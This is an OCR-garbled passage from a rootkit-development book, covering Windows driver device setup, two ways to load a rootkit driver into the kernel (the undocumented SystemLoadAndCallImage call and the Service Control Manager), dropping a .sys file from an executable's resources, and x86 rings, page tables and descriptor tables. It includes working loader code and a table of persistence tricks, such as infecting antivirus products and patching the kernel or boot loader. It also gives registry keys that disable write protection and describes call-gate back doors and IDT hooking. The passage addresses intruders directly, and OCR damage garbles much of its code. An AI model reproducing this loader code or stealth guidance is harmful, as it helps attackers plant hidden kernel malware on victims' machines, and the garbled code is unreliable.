const WCHAR devi ceNaneBuffer[] = L"\\Device\\vicesys2";
NTSTATUS DriverEntry(lI N PDRI VER OBJECT Driveroject,

I N PUNI CODE_STRI NG Regi stryPat h

)
{
NTSTATUS nt St at us;
UNI CODE_STRI NG devi ceNaneUni codeSt ri ng;
UNI CODE_STRI NG devi ceLi nkUni codeSt ri ng;

/'l Set up our nane and synbolic |ink.
Rtl1nitUnicodeString (&devi ceNanmeUni codeStri ng,
devi ceNaneBuffer );

RtI 1 nitUnicodeString (&devi ceLi nkUni codeStri ng,



devi ceLi nkBuffer );

/1l Set up the device

/11

ntStatus = I oCreateDevice ( Driveroject,
0, // For driver extension
&devi ceNaneUni codeStri ng,
FI LE_DEVI CE_ROOTKI T,
0,
TRUE,
&g Root ki t Devi ce );

i f( NT_SUCCESS(nt Status)) {

nt Status = | oCreateSynbolicLink (&devi celLi nkUni codeStri ng,

&devi ceNanmeUni codeString );

Now that a symbolic link has been created, a user-mode program can open a handle to the device using
the string "\\.\MyDevice." It really doesn't matter if you create a symbolic link. It just makesit easier for
the user-mode code to find the driver, but it is not required.

hDevice = CreateFile("\\\\.\\ MyDevi ce",
GENERI C_READ | GENERI C_ WRI TE,
0,
NULL,
OPEN_EXI STI NG,
FI LE_ATTRI BUTE_NORMAL,

NULL

),



if ( hDevice == ((HANDLE)-1) )

return FALSE;

Now that we have discussed how to communicate between user mode and kernel mode using afile
handle, we will discuss how you load a device driver to begin with.



Loading the Rootkit

Inevitably, you will need to load the driver from a user-mode program. For example, if you penetrate a
computer system, you will want to copy over a deployment program of some kind that, when run, loads
the rootkit into the kernel.

A loading program typically will decompress a copy of the .sysfileto the hard drive, and then issue the
commands to load it into the kernel. Of course, for any of thisto work, the program must be running as
"administrator."l]

[71 Or asNT_AUTHORITY/SY STEM, depending on how you get onto the system.

There are many waysto load a driver into the kernel. We cover two methodsone we call "quick and
dirty,” and another we call "The Right Way." Either method will work, but read on to learn the details.

The Quick-and-Dirty Way to Load a Driver

Using an undocumented API call, you can load adriver into the kernel without having to create any
registry keys. The problem with this approach is that the driver will be pageable. "Pageable’ refersto
memory that can be swapped to disk. If adriver is pageable, any part of the driver could be paged out
(that is, swapped from memory to disk). Sometimes when memory is paged out, it cannot be accessed;
an attempt to do so will result in the infamous Blue Screen of Death (a system crash). The only time
when this loading method is really safe iswhen it's specifically designed around the paging problem.

An example of agood rootkit that uses this loading method is migbot, which is available at rootkit.com.
The migbot rootkit is very ssmple, and copies all of the operational code into a non-paged memory pool,
so the fact that the driver is paged does not affect anything migbot does.

Rootkit.com

Y ou can download the source code for migbot from
www.rootkit.com/vault/hoglund/migbot.zip

Theloading method istypically referred to as SYSTEM LOAD AND CALL IMAGE because thisisthe
name given to the undocumented API call.

Here is the loading code from migbotloader:



bool | oad_sysfile()
{
SYSTEM LOAD_AND CALL_I MAGE G egsl mage;
WCHAR daPat h[] = L"\\?2\\C:\\ M GBOT. SYS";
FEEEETEEE i b rr bbb brrrirrl
/1l get DLL entry points
FELEEETEEE bbb bbb bbb rrrirrl
if(!'(RtIInitUni codeString = (RTLI NI TUNI CODESTRI NG
Get ProcAddr ess( Get Modul eHandl e("ntdl [ .dl ™)

,"Rt1I'nitUni codeString"

)))

return fal se;
}
i f(!(2ZwSet System nformati on = (ZWSETSYSTEM NFORMATI ON)
CGet Pr ocAddr ess(
Get Modul eHandl e("ntdl | .dl ")

, " ZwSet Syst em nfornmation” )))

return fal se;
}
Rt 11 nitUnicodeString(& G egsl mage. Modul eNane) ,
daPat h) ;
i f (! NT_SUCCESS(
ZwSet Syst enl nf or mat i on( Syst enLoadAndCal | | mage,

&G egsl mage,



si zeof (SYSTEM LOAD AND CALL_| MAGE))))

{

return fal se;

}

return true;

This code is run from user mode, and expects the .sysfile to be C:\migbot.sys.

Migbot does not offer an unload feature; once it isloaded, it cannot be unloaded until reboot. Think of
thisas a"fire-and-forget" operation. The advantage to using this method is that it can be stealthier than
more-established protocols. The downside is that it complicates the rootkit design. For migbot, thisisa
good solution; but for complex rootkits with many hooks, this method would require supporting too
much overhead.

The Right Way to Load a Driver

The established and correct way to load a driver isto use the Service Control Manager (SCM). Using the
SCM causes registry keysto be created. When adriver isloaded using the SCM, it is non-pageable. This
means your callback functions, IRP-handling functions, and other important code will not vanish from
memory, be paged out, or cause Blue Screens of Death. Thisisa Good Thing.

The following example code will load any driver by name, using the SCM method. It registers and then
starts the driver. Y ou can use this code in your own loader program if you choose.

bool _util | oad sysfile(char *theDriver Nane)
{
char aPat h[ 1024] ;
char aCurrentDi rectory[515];
SC HANDLE sh = OpenSCManager (NULL, NULL, SC MANAGER ALL_ACCESS);
if(!sh)
{

return fal se;



}
GetCurrentDirectory( 512, aCurrentDirectory);
_snprintf(aPat h,
1022,
"8\ \ ¥%s. sys",
aCurrentDirectory,
t heDri ver Nane) ;
printf("loading %\n", aPath);
SC HANDLE rh = CreateService(sh,
t heDri ver Nane,
t heDri ver Nane,
SERVI CE_ALL_ACCESS,
SERVI CE_KERNEL DRI VER,
SERVI CE_DENMAND_ START,
SERVI CE_ERROR_NOCRIVAL,
aPat h,
NULL,
NULL,
NULL,
NULL,
NULL) ;
if(lrh)
{

if (GetLastError() == ERROR_SERVI CE_EXI STS)

{

/] service exists



rh = OpenService(sh,
t heDri ver Name,
SERVI CE_ALL_ACCESS) ;

if(!rh)

{
Cl oseServi ceHandl e(sh);
return fal se;
}
}
el se
{
Cl oseServi ceHandl e(sh);
return fal se;
}
}
/'l start the drivers
if(rh)
{
if(0 == StartService(rh, 0, NULL))
{
i f (ERROR_SERVI CE_ALREADY_RUNNI NG == Get Last Error())
{
/1 no real problem
}
el se



Cl oseServi ceHandl e(sh);
Cl oseServi ceHandl e(rh);

return fal se;

}
Cl oseSer vi ceHandl e(sh);

Cl oseServi ceHandl e(rh);

}

return true;

Y ou now have two methods for loading your driver or rootkit into kernel memory. All the power of the
OSisnow inyour hands!

In the next section, we will show you how to use asingle file, once you have access to a system, to
contain both the user portion and kernel portion of your rootkit. The reason to use only one file rather
than two isthat asingle file creates a smaller footprint in the file system or when traversing the network.



Decompressing the .sys File from a Resource

Windows PE executables allow multiple sections to be included in the binary file. Each section can be
thought of asafolder. This allows developers to include various objects, such as graphicsfiles, within
the executable file. Any arbitrary binary objects can be included within the PE executable, including
additional files. For instance, an executable can contain both a.sysfile and a configuration file with
startup parameters for the rootkit. A clever attacker might even create a utility that sets configuration
options "on the fly" before an exploit is used with the rootkit.

The following code illustrates how to access a named resource within the PE file and subsequently make
acopy of theresource asafile on the hard drive. (The word decompress in the code isimprecise, asthe
embedded file is not actually compressed.)

bool _util_deconpress_sysfile(char *theResourceNane)
{

HRSRC aResour ceH;

HGLOBAL aResour ceHd obal ;

unsi gned char * aFil ePtr;

unsi gned | ong aFil eSi ze;

HANDLE fil e_handl e;

The subsequent FindResource API call is used to obtain a handle to the embedded file. A resource hasa
type, in this case BINARY, and a name.

FEETEEEEEEr i rrrriririrrr
/'l locate a naned resource in the current binary EXE

FEEEEEEEr bbb bbb rrr ey



aResourceH = Fi ndResource(NULL, theResourceNane, "Bl NARY");

i f(!aResourceH)

{

return fal se;

The next step isto call LoadResource. This returns a handle that we use in subsequent calls.

aResour ceHd obal = LoadResource(NULL, aResourceH);

i f(!aResourceHd obal)

{

return fal se;

Using the SizeOfResource call, the length of the embedded file is obtained:

aFi |l eSi ze = Sizeof Resource(NULL, aResourceH);
aFilePtr = (unsigned char *)LockResource(aResourceHd obal);

if(laFilePtr)

return false;

The next loop simply copies the embedded file into afile on the hard drive, using the resource's name as



the file name. For example, if the resource were named "test," then the resulting file would be called
test.sys. In thisway, an embedded resource can be made into adriver file.

char _fil enane[ 64];
snprintf(_filename, 62, "%.sys", theResourceNane);
file_handle = CreateFil e(fil enane,

FI LE_ALL_ACCESS,

0,

NULL,

CREATE_ALWAYS,

0,

NULL) ;

i f (1 NVALI D_HANDLE_VALUE == file_handl e)

{
int err = GetLastError();
i f( (ERROR_ALREADY EXI STS == err) || (32 == err))
{
/'l no worries, file exists and nmay be | ocked
/'l due to exe
return true;
}
printf("% deconpress error %\n", _filenane, err);
return fal se;
}

/1 While |loop to wite resource to disk
whi | e(aFi | eSi ze--)

{



unsi gned | ong nunWWitten;
WiteFile(file_handle, aFilePtr, 1, &unWitten, NULL);
aFi | ePtr ++;

}

Cl oseHandl e(fil e_handl e);

return true;

After a.sysfile has been decompressed to disk, it can be loaded using one of the rootkit loading
methods we have aready outlined. We now discuss some strategies to get your rootkit to load at boot
time.



Surviving Reboot

Therootkit driver must be loaded upon system boot. If you think about this problem generally, you will
realize that many different software components get |oaded when the system boots. Aslong as arootkit
Is connected with one of the boot-time eventslisted in Table 2-2, it will also load.

Table 2-2. Some ways to load a rootkit at system-boot time.

Using therun key (" old
reliable")

Using a Trojan or infected
file

Using .ini files

Registeringasadriver

Registering asan add-on to
an existing application

Modifying the on-disk
kernel

Therun key (and its derivates) can be used to load any arbitrary
program at boot time. This program can decompress the rootkit and
load it. The rootkit can hide the run-key value once loaded so that it
remains undetected. All virus scanners check thiskey, soit'sahigh-
risk method. However, once the rootkit has been loaded, the value can
be hidden.

Any .sysfile or executable that isto be loaded at boot time can be
replaced, or the loader code can be inserted similarly to the way avirus
can infect afile. Ironically, one of the best things to infect isavirus-
scanning or security product. A security product will typically start
when the system is booted. A trojan DLL can be inserted into the
search path, or an existing DLL can simply be replaced or "infected."

Ini files can be altered to cause programsto be run. Many programs
have initiaization files that can run commands on startup or specify
DLLsto load. One such file that can be used in thisway is called
win.ini.

The rootkit can register itself asadriver which isloaded on boot. This
requires creating aregistry key. Again, the key can be hidden once the
rootkit has loaded.

A favorite method used by spyware isto add an extension to a Web-
browsing application (for example, in the guise of asearch bar). The
extension is loaded when the application loads. This method requires
that the application is launched, but if that's likely to occur before the
rootkit must be activated, it can be effective for loading the rootkit. A
downside to this approach is that many free adware scanners are
available, and these may detect the application extension.

The kernel can be directly modified and saved to disk. A few changes
must be made to the boot loader so that the kernel will pass a checksum
integrity check. This can be very effective, since the kernel will be
permanently modified, and no drivers will need to be registered.



Modifying the boot loader  The boot loader can be modified to apply patches to the kernel before it
loads. An advantage is that the kernel fileitself will not appear
modified if the system is analyzed offline. However, a boot-loader
modification can be detected with the right tools.

There are many ways to load at boot time; thelist in Table 2-2 is by no means complete. With alittle
creativity and some time, you should be able to discover additional waysto load.



Conclusion

This chapter has armed you with the basics of device-driver development for Windows. We described
some of the key areas that can be targeted in the kernel. We aso covered the mundane details of setting
up your development environment and tools to make rootkit development easier. Finally, we covered the
basic requirements for loading, unloading, and starting adriver. We also touched upon deployment
methods, and ways to make adriver start on system boot.

The subjects covered in this chapter are required for writing rootkits for MS-Windows. At this point,
you should be able to write asimple "hello world" rootkit, and load and unload it from the kernel. Y ou
also should be able to write a user-mode program that can communicate with a kernel-mode driver.

In subsequent chapters, we will delve much deeper into the workings of the kernel and the underlying
hardware that supports al software. By beginning with the lowest-level structures, you can build correct
understandings that enable you to synthesize knowledge of the highest-level elements. Thisis how you
will become amaster of rootkits.



Chapter 3. The Hardware Connection

One Ring to rule them all, One Ring to find them, One Ring to bring them all and in the darkness
bind them.

THE FELLOW=sHIP OF THE RING,J. R. R. TOLKIEN

Software and hardware go together. Without software, hardware would be lifeless silicon. Without
hardware, software cannot exist. Software ultimately controls a computer, but under the hood, it's the
hardware that implements the software code.

Furthermore, hardware is the ultimate enforcer of software security. Without hardware support, software
would be totally insecure. Many texts cover software development without ever addressing the
underlying hardware. This might work for the developers of enterprise applications, but it won't work
for rootkit developers. As arootkit developer, you will be faced with reverse-engineering problems,
hand-coded assembly language, and highly technical attacks against software tools installed on the
system. Y our understanding of the underlying hardware will empower you to tackle these hard
problems. Throughout the rest of this book, you will encounter concepts and code that assume you have
some amount of hardware understanding. Therefore, we encourage you to read this chapter before
moving on.

Ultimately, all access controls are implemented in hardware. For example, the popular notion of process
separation is enforced using "rings' on the Intel x86 hardware. If the Intel CPU had no mechanism for
access control, then all software executing on the system would be trusted. This would mean that any
program that crashed could bring the whole system down with it. Any program would have the ability to
read and write to hardware, access any file, or modify the memory of another process. Sound familiar?
Even though the Intel family of processors have had access control capabilities for many years,
Microsoft did not take advantage of these until the release of Windows NT.

In this chapter we discuss the hardware mechanisms that work behind the scenes to enforce security and
memory access in the Windows operating system. We begin our discussion of hardware mechanisms by
taking alook at how the Intel x86 family of microprocessors performs access control. We then discuss
how the processor keeps track of matters using lookup tables. We also discuss control registers and,
more importantly, how memory pages work.



Ring Zero

The Intel x86 family of microchips use a concept called rings for access control. There are four rings,
with Ring Zero being the most privileged and Ring Three being the least privileged. Internally, each ring
Is stored as anumber; there aren't actually physical rings on the microchip.

All kernel code in the Windows OS runsin Ring Zero. Therefore, rootkits running in the kernel are
considered to be running in Ring Zero. User-mode programs, those that don't run in the kernel (for
example, your spreadsheet program), are sometimes called Ring Three programs. Many operating
systems, including Windows and Linux, take advantage of only Rings Zero and Three on the Intel x86
microchips; they do not use Rings One and Two.[Zl Since Ring Zero is the most privileged and powerful
ring on the system, it'sasign of pride for rootkit devel opersto claim that their code runsin Ring Zero.

(11 Although Rings One and Two may be used, the architecture of Windows does not require their use.

The CPU isresponsible for keeping track of which software code and memory is assigned to each ring,
and enforcing access restrictions between rings. Usually, each software program is assigned aring
number, and cannot access any rings with lower numbers. For example, a Ring Three program cannot
access aRing Zero program. If a Ring Three program attempts to access Ring Zero memory, the CPU
will throw an interrupt. In most such cases, the access will not be alowed by the OS. The attempt might
even result in the shutdown of the offending program.

Under the hood, quite a bit of code controls this access restriction. There is aso code that allows a
program to access lower rings under special circumstances. For example, loading a printer driver into
the kernel requires that an administrator program (a Ring Three program) have access to the loaded
device drivers (in the Ring Zero kernel). However, once a kernel-mode rootkit is loaded, its code will be
executing in Ring Zero, and these access restrictions will cease to be of concern.

Many tools that might detect rootkits run as administrator programsin Ring Three. A rootkit devel oper
should understand how to leverage the fact that her rootkit has a higher privilege than the administrator
tool. For example, the rootkit can use this fact to hide from the tool, or render it inoperative. Also, a
rootkit istypically installed using aloader program. (We covered loader programsin Chapter 2.) These
loader programs are Ring Three applications. In order to load rootkit into the kernel, these loader
programs use special function calls that allow them to access Ring Zero.

Figure 3-1 showsthe rings of Intel x86 processors and where user-mode and kernel-mode programs
execute within those rings.

Figure 3-1. The rings of Intel x86 processors.
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In addition to memory-access restrictions, there are other security provisions. Some instructions are
considered privileged, and can be used only in Ring Zero. These instructions are typically used to alter
the behavior of the CPU or to directly access hardware. For example, the following x86 instructions are
alowed only in Ring Zero:

cli stop interrupt processing (on the current CPU)

sti start interrupt processing (on the current CPU)

in read datafrom a hardware port

out write data to a hardware port

There are many advantages to having arootkit execute in Ring Zero. Such arootkit can manipulate not
only hardware, but also the environment in which other software operates. Thisis critical for employing
stealth operations on the computer.

Now that we have discussed how the CPU enforces access controls, let's examine how the CPU keeps
track of important data.



Tables, Tables, and More Tables

In addition to being responsible for keeping track of rings, the CPU also is responsible for making many
other decisions. For example, the CPU must decide what to do when an interrupt is thrown, when a
software program crashes, when hardware signals for attention, when user-mode programstry to
communicate with kernel-mode programs, and when multi-threaded programs switch threads. Clearly
the operating system code must deal with such mattersbut the CPU always deals with them first.

For every important event, the CPU must figure out which software routine deals with that event. Since
every software routine lives in memory, it makes sense for the CPU to store addresses for important
software routines. More specifically, the CPU needs to know where to find the address of an important
software routine. The CPU cannot store all of the addresses internally, so it must ook up the values. It
does this by using tables of addresses. When an event occurs, such as an interrupt, the CPU looks up the
event in atable and finds a corresponding address for some software to deal with that event. The only
information the CPU needs is the base address of these tablesin memory.

There are many important CPU tables, including:

o Global Descriptor Table (GDT), used to map addresses

o Local Descriptor Table (LDT), used to map addresses

« Page Directory, used to map addresses

« Interrupt Descriptor Table (IDT), used to find interrupt handlers

In addition to CPU tables, the operating system itself may also keep tables. These OS-implemented
tables are not directly supported by the CPU, so the OS includes special functions and code to manage
them.

An important OS-implemented tableis:

« System Service Dispatch Table (SSDT), used by the Windows OS for handling system calls

These tables are used in avariety of ways. In the following sections, we make reference to these tables
and explore how they work. We al so suggest ways arootkit developer can modify or hook these tables
in order to provide stealth or to capture data.



Memory Pages

All memory is separated into pages, asin abook. Each page can hold only a certain number of
characters. Each process may have a separate |ookup table to find these memory pages.

Imagine that memory islike agiant library of books, where every process has its own separate card
catalog for looking things up. The different lookup tables can cause memory to be viewed entirely
differently by each process. Thisis how one process can read memory at address 0x00401122 and see
"GREG," while another process can read memory at the same address but see "JAMIE." Each process
can have aunique "view" of memory.

Access controls are applied to memory pages. To continue our library metaphor, imagine that the CPU is
an overbearing librarian who will allow a process to examine only afew booksin the library. To read or
write memory, aprocess must first find the correct "book," and then the exact "page” for the memory in
question. If the CPU doesn't approve of the book or page that is requested, accessis denied.

The lookup procedure for finding a page in this manner islong and involved; access control is enforced
at several stages during this procedure. First, the CPU checks whether the process can open the book in
question (the descriptor check); next, the CPU checks whether the process can read a certain chapter in
the book (the page directory check); and finally, the cpu checks whether the process can read a
particular page in the chapter (the page check). Wowthat is alot of work!

Only if the process can pass al the security checkswill it be allowed to read a page.

Even if the CPU checks are passed, the page may be marked as read-only. This, of course, meansthe
process can read the page, but cannot writeto it. In thisway, the integrity of the data can be maintained.
Rootkit developers are like vandalsin this library, attempting to scribble all over these booksso we must
learn al we can about manipulating access controls.

Memory Access Check Details

To access amemory page, the x86 processor performs the following checks, in the order shown:

« Descriptor (or segment) check: Typically, the global descriptor table (GDT) is accessed and a
segment descriptor is checked. The segment descriptor contains a value known as the descriptor
privilege level (DPL). The DPL contains the ring number (zero to three) required of the calling
process. If the DPL requirement islower than the ring level (sometimes called the current privilege
level [CPL]) for the calling process, accessis denied, and the memory check stops here.

» Pagedirectory check: A user/supervisor bit is checked for an entire page tablethat is, an entire
range of memory pages. If the user/supervisor bit is set to zero, then only "supervisor" programs
(Rings Zero, One, and Two) can access the range of memory pages; if the calling processis not a
"supervisor," the memory check stops here. If the user/supervisor bit is set to 1, then any program
can access the range of memory pages.

 Page check: This check is made for asingle memory page. If the page-directory check has



succeeded, a page check will be made for the individual page in question. Like the page directory,
each individual page has a user/supervisor bit that is checked. If the user/supervisor bit is set to
zero, then only "supervisor" programs (Rings Zero, One, and Two) can access the individual page.
If the user/supervisor bit is set to 1, then any program can access the individual page. A process
can access the page of memory only if it can get all the way to and through this check without any
access denials.

The Windows family of operating systems does not really use the descriptor check. Instead, Windows
relies only on Rings Zero and Three (sometimes called kernel mode and user mode). This allows the
user/supervisor bit in the page table check alone to control access to memory. Kernel-mode programs,
running as Ring Zero, will always be able to access memory. User-mode programs, running as Ring
Three, can access only memory tagged as "user."

Figure 3-2 shows adump of the GDT (using Softlce) for Windows 2000. The DPL for each entry is
noted. The first four entries (08, 10, 1B, and 23) encompass the entire range of memory for data and
code, and both Ring Zero and Ring Three programs. The result isthat the GDT does not provide any
security for the system. Security must be enforced "downstream™ within the page tables. To understand
thisin detail, you must first comprehend how a virtual-memory addressis transated into an actual
physical address. Thisis explained in the next section.

Figure 3-2. The GDT on Windows 2000.
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The memory-protection mechanism is used for more than just security. Most modern operating systems
support virtual memory. This allows each program on the system to have its own address space. It also
allows a program to use much more memory than is actually available as "main memory." For example,
acomputer with 256 MB of RAM does not limit every program to only 256 MB of memory. A program
can easily use one GB of memory if it so chooses: The extramemory issimply stored on disk in afile
(sometimes called the paging file). Virtual memory allows multiple processes to execute
simultaneouslly, each with its own memory, when the total used by all processesis greater than the
installed physical RAM.

Memory pages can be marked as paged out (that is, stored on disk rather than in RAM). The processor
will interrupt when any of these memory pagesis sought. The interrupt handler reads the page back into



memory, making it paged in. Most systems allow only asmall percentage of all available memory to be
paged in at any given time. A computer that islow on physical RAM will have alarge paging filethat is
constantly being accessed. Conversely, more physical RAM means fewer hits on the paging file.

Whenever a program reads memory, it must specify an address. For each process, this address must be
translated into an actual physical memory address. Thisisimportant: An address used by aprocessis
not the same as the actual physical address where the dataresides. A trandation routine is needed to
identify the proper physical storage location.

For example: If NOTEPAD.EXE seeks the memory contents of virtual address 0x0041FF10, the actual
physical address may trandate to, say, OxO1EE2F10. If NOTEPAD.EXE executes the instruction "mov
eax, 0x0041FF10," the value being read into EAX is actually stored at the physical address
Ox01EE2F10. The addressis translated from avirtual addressto a physical one (see Figure 3-3).

Figure 3-3. Translating the address for a mov instruction.

[View full size image]
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Page-Table Lookups

Trandation of memory addresses is handled via a specia table known as the page-table directory. The
Intel x86 CPU stores the pointer to the page-table directory in aspecial register called CR3. This
register, in turn, pointsto an array of 1024 32-bit values called the page directory. Each 32-bit value
(called a page-directory entry) specifies the base address of a page table in physical memory, and
includes a status bit indicating whether the page table is currently present in memory. From the page
table, actual physical addresses can be obtained (see Figure 3-4).

Figure 3-4. Finding a page in memory.
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Figure 3-4 shows the different tables that are referenced when looking up a physical memory address.
Different parts of the requested address (or virtual address) are used during thislookup. Figure 3-5
shows how each part of the requested address is used during lookup.

Figure 3-5. Different parts of a requested address.[2

31 22 21 12 11 0
Page Directory Index (1024 Page Table Index (1024 possible L ocation in page (4096
possible values) values) possible values)

(2] I the page is marked as a4-MB page, bits 2231 specify the base address of the physical page, and bits 021 specify the
offset to the physical memory page.

The following steps are taken by the operating system and the CPU in order to translate a requested
virtual addressinto aphysica memory address:

« The CPU consults CR3 to find the base of the page-table directory.

» Therequested memory addressis split into three parts, as shown in Figure 3-5.

« Thetop 10 bits are used to find the location in the page-table directory (see Figure 3-4).

« Oncethe page-directory entry islocated, the corresponding page table is found in memory.

« Themiddle 10 bits of the address are used to find the index in the page table (see Figure 3-4).

« The corresponding physical memory address (sometimes called the physical page frame) isfound



for the page.

« The bottom 12 bits of the requested address are used to locate an offset in the physical page-frame
memory (up to 4096 bytes). The resulting actual physical address contains the requested data.

The requested address is sometimes called a virtual addressvirtual in that it must first be translated into
areal (physical) memory address before it can be used. Asyou can see, afew twists and turns are
required to translate a virtual addressinto an actual physical memory address. Each step requires
information that is obtained from atable. Any of this data could be modified or used by arootkit.

The Page-Directory Entry
Aswe have stated, the CR3 register points to the base of the page directory. The page directory isan

array of page-directory entries (see Figure 3-6). When a page-directory entry is accessed, the U bit (bit
2) ischecked. If U is set to zero, then the page table in question is meant only for the kernel.

Figure 3-6. Page-directory entry.

31 12 11 9876 54 3 2 10
Page Table Base Address OPOA PP UWP
S C W
DT

The W bit (bit 1) isalso checked. If W is set to zero, then the memory is read-only (as opposed to
read/write). Remember that the page-directory entry points to an entire page table (Figure 3-7)an entire
collection of pages. The settings in the page-directory entry apply to an entire range of memory pages.

Figure 3-7. Page-table entry.[3]

31 12 11 987 6 54 3 2 10

Page Base Address O0ODAPPUWP
C W
D T

(3] The format of the page-table entry can be somewhat different, depending on the OS.

Note that the program that consults the page directory must be running in Ring Zero.

The Page-Table Entry



The page-table entry concerns only a single page of memory. Again, the U bit is checked, and if it is set
to zero, only kernel-mode programs can access this page of memory. The W bit is also checked for
read/write access. Noteworthy also isthe P bit: If it is set to zero, then the memory is currently paged out
to disk (whereasif it is set to one, the memory isresident and available). If the memory is paged out, the
memory manager must page in the memory before access can succeed.

Read-Only Access to Some Important Tables

On Windows XP and greater, the memory pages containing the SSDT and IDT are set to read-only in
the page table. If an attacker wishesto alter the contents of these memory pages, she must first change
the pages to read/write. The best way for arootkit to do thisis called the CRO trick, described later in
this chapter. However, you can also make these tables writable by altering two registry keys. If you wish
to disable the read-only settings permanently, you can ater the following registry keys and then
reboot.[4]

(4 Thanks to Rob Beck for finding this information.

HKLM SYSTEM Cur r ent Cont rol Set\ Control \ Sessi on Manager\ Menory

Managenent \ Enf orceWiteProtection = 0

HKLM SYSTEM Cur r ent Cont rol Set\ Control \ Sessi on Manager\ Menory

Managenent \ Di sabl ePagi ngExecutive = 1

(Thefirst of these two keys does not exist in aclean XPinstall; you must add it manually.)

Of course, even if left unchanged, these registry keys are no protection against rootkits, since arootkit
can modify the page tables directly or use the CRO trick to enable or disable access restrictions on-the-

fly.

Multiple Processes, Multiple Page Directories

In theory, using just asingle page directory, an operating system can maintain multiple processes,
memory protection between processes, and a paging file on disk. But with only one page directory, there
would be only one translation map for virtual memory. That would mean all processes would need to
share the same memory. Under Windows NT/2000/X P/2003, we know that each process has its own
memorythey do not share.

The start address of most executables is 0x00400000. How can multiple processes use the same virtual
address, but not collide in physical memory? The answer is multiple page directories.



Every process on the system maintains a unique page directory. Each process hasits own private value
for the CR3 register. This means that every process has a separate and unique virtual memory map.
Thus, two different processes can access the memory address 0x00400000, and have it trandlate into two
separate physical memory addresses. Thisis also why one process cannot "see" into another process's
memory.

Even though each process has a unique page table, the memory above Ox7FFFFFFF istypically mapped
identically across all processes. This range of memory isreserved for the kernel, and kernel memory
stays consistent, regardless of which processis running.

Even when running in Ring Zero, there will be an active process context. The process context includes
the machine state for that process (such as the saved registers), the process's environment, the process's
security token, and other parameters. For purposes of this discussion, the process context contains the
CR3 register, and hence the page directory of the active process. A rootkit developer should consider
that modifications made to the page tables for a process will affect not only that process while in user
mode, but also the kernel whenever that processisin context. This can be leveraged for advanced stealth
techniques.

Processes and Threads

Rootkit devel opers should understand that the primary mechanism for managing running code is the
thread, not the process. The Windows kernel schedul es processes based on the number of threads, not
processes. That is, if there are two processes, one single-threaded and the other with nine threads, the
system will give each thread 10% of the processing time. The single-threaded process would get 10% of
the CPU time, while the process with nine threads would get 90%. This example is contrived, of course,
since other factors (such as priority) also play a part in scheduling. But the fact remains that, all other
factors being equal, scheduling is based entirely on the number of threads, not the number of processes.

Just what is a process? Under Windows, a processis simply away for agroup of threads to share the
following data:

virtual address space (that is, the value used for CR3)

access token, including SIDI®I

(51 A thread may have its own access token which, if present, overrides that of the process.

handle table for win32 kernel objects

working set (physical memory "owned" by the process)

Rootkits must deal with threads and thread structures for avariety of purposes, including stealth and
code injection. Rather than creating new processes, it can create new threads and assign them to an
existing process. Rarely would awhole new process need to be created.

When a context switch to a new thread occurs, the old thread state is saved. Each thread hasits own
kernel stack, so the thread state is pushed onto the top of the thread kernel stack. If the new thread
belongs to a different process, the new page directory address for the new processisloaded into CR3.



The page directory address can be found in the KPROCESS structure for the process. Once the new
thread kernel stack isfound, the new thread context is popped from the top of the new thread kernel
stack, and the new thread begins execution. If arootkit modifies the page tables of a process, the

modifications will be applied to all threads in that process, because the threads all share the same CR3
value.

We go into much more detail on thread and process structures in Chapter 7, Direct Kernel Object
Manipulation.



The Memory Descriptor Tables

Some of the tables that the CPU uses to keep track of things can contain descriptors. There are several
types of descriptors, and they can be inserted or modified by arootkit.

The Global Descriptor Table

A number of interesting tricks may be implemented viathe GDT. The GDT can be used to map different
address ranges. It can aso be used to cause task switches. The base address of the GDT can be found
using the SGDT instruction. Y ou can alter the location of the GDT using the LGDT instruction.

The Local Descriptor Table

The LDT allows each task to have a set of unique descriptors. A bit known as the table-indicator bit can
select between the GDT and the LDT when a segment is specified. The LDT can contain the same types
of descriptors asthe GDT.

Code Segments

When accessing code memory, the CPU uses the segment specified in the code segment (CS) register. A
code segment can be specified in the descriptor table. Any program, including arootkit, can change the
CSregister by issuing afar call, far jump, or far return, where CSis popped from the top of the stack.[6]
It isinteresting to note that you can make your code execute only by setting the R bit to zero in the
descriptor.

[6] An IRET instruction can also be used.

Call Gates

A special kind of descriptor, called acall gate, can be placed inthe LDT or the GDT. A program can
make afar call with the descriptor set to the call gate. When the call occurs, anew ring level can be
specified. A call gate could be used to allow a user-mode program to make a function call into kernel
mode. Thiswould be an interesting back door for arootkit program. The same mechanism can be used
with afar jump, but only when the call gate is of the same privilege level or lower than process
performing the jump.l]

[7] The exception isafar jump to a"conforming" code segment.

When acall gate is used, the address is ignoredonly the descriptor number matters. The call gate data
structure tells the CPU where the code for the called function lives. Optionally, arguments can be read
from the stack. For example, acall gate could be created such that the caller puts secret command
arguments onto the stack.



The Interrupt Descriptor Table

The interrupt descriptor table register (IDTR) stores the base (the start address) of the interrupt
descriptor table (IDT) in memory. The IDT, used to find the software function employed to handle an
interrupt, is very important.[8l Interrupts are used for avariety of low-level functionsin acomputer. For
example, an interrupt is signaled whenever a keystroke is typed on the keyboard.

(8] Also, for interrupt handling to occur on a CPU, the IF bit in that CPU's EFlags register must be set.

The IDT isan array that contains 256 entriesone for each interrupt. That means there can be up to 256
interrupts for each processor. Also, each processor hasits own IDTR, and therefore has its own interrupt
table. If acomputer has multiple CPUs, arootkit deployed on that computer must take into account that
each CPU hasits own interrupt table.

When an interrupt occurs, the interrupt number is obtained from the interrupt instruction, or from the
programmabl e interrupt controller (PIC). In either case, the interrupt table is used to find the appropriate
software function to call. This function is sometimes called a vector or interrupt service routine (ISR) .

When the processor isin protected mode, the interrupt tableis an array of 256 eight-byte entries. Each
entry has the address of the | SR and some other security-related information.

To obtain the address of the interrupt table in memory, you must read the IDTR. Thisis done using the
SIDT (Store Interrupt Descriptor Table) instruction. Y ou can aso change the contents of the IDTR by
using the LIDT (Load Interrupt Descriptor Table) instruction. More details on this technique can be
found in Chapter 8 .

Onetrick employed by rootkitsis to create a new interrupt table. This can be used to hide modifications
made to the original interrupt table. A virus scanner may check the integrity of the original IDT, but a
rootkit can make a copy of the IDT, change the IDTR, and then happily make modifications to the
copied IDT without detection.

The SIDT instruction stores the contents of the IDTR in the following format:

[* sidt returns idt in this format */
t ypedef struct
{

unsi gned short IDTLimt;

unsi gned short Low DTbase;

unsi gned short Hil DTbase;

} 1 DTI NFQ,



Using the data provided by the SIDT instruction, an attacker can then find the base of the IDT and dump
its contents.

Remember that the IDT can have up to 256 entries. Each entry inthe IDT contains a pointer to an
interrupt service routine. The entries have the following structure.

/'l entry in the IDT: this is sonetines called

/1 an "interrupt gate"

#pragma pack(1)
t ypedef struct
{
unsi gned short LowO fset;
unsi gned short sel ector;
